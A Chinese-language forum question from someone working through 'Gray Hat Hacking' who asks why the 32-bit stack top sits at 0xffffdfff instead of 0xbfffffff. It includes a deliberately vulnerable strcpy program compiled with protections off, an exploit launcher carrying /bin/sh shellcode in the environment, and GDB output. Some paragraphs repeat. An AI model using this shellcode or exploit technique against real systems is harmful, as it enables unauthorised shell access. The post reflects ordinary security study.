根据《灰帽黑客》一书,“所有Linux ELF文件都会被映射到内存中,最后一个相对地址为0xbfffffff”。通过从该地址减去4个NULL字节、文件名长度和shellcode长度,似乎可以将受攻击缓冲区的返回地址设置为环境变量的地址。
然而,在我的64位Linux测试环境(ASLR已禁用)中尝试时,栈似乎不是从0xbffffff开始,而是从0xffffdfff开始。
为什么我的堆栈起始地址与书中的不同?这与ASLR无关,因为地址每次不会改变,但我想知道为什么我的地址从0xffffdfff开始而不是书中的地址。您有什么想法吗?
下面是受攻击的缓冲区:
有人能解释一下我错过了什么吗?
然而,在我的64位Linux测试环境(ASLR已禁用)中尝试时,栈似乎不是从0xbffffff开始,而是从0xffffdfff开始。
为什么我的堆栈起始地址与书中的不同?这与ASLR无关,因为地址每次不会改变,但我想知道为什么我的地址从0xffffdfff开始而不是书中的地址。您有什么想法吗?
下面是受攻击的缓冲区:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void main(int argc, char *argv[]) {
char buffer[10];
printf("Vulnerable program has loaded...");
fflush(stdout);
strcpy(buffer, argv[1]);
}
编译器选项:
gcc -m32 -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -ggdb -o shellcode_env shellcode_env.c
以下是攻击代码:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define FILENAME "./vulnerable_buffer_small"
#define SIZE 80
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main(int argc, char *argv[]) {
char *environment[] = {shellcode, NULL};
char buffer[SIZE];
char *parameters[] = {FILENAME, buffer, NULL};
int *pointer, i, address;
address = 0xbffffffa - strlen(shellcode) - strlen(FILENAME);
pointer = (int *) (buffer + 2);;
for (i = 0; i < SIZE; i += 4) {
*pointer++ = address;
}
printf("Using address: 0x%X\n", address);
execle(parameters[0], (char*) parameters, environment);
exit(1);
}
我尝试使用GDB查找易受攻击程序中第一个环境变量的地址,但没有成功:
(gdb) x/s *environ
*lines removed for clarity*
0xffffdfb5: "DISPLAY=:1"
(gdb)
0xffffdfc0: "/home/Workbench/vulnerable_buffer_small"
(gdb)
0xffffdff8: ""
(gdb)
0xffffdff9: ""
(gdb)
0xffffdffa: ""
(gdb)
0xffffdffb: ""
(gdb)
0xffffdffc: ""
(gdb)
0xffffdffd: ""
(gdb)
0xffffdffe: ""
(gdb)
0xffffdfff: ""
(gdb)
0xffffe000: <error: Cannot access memory at address 0xffffe000>
有人能解释一下我错过了什么吗?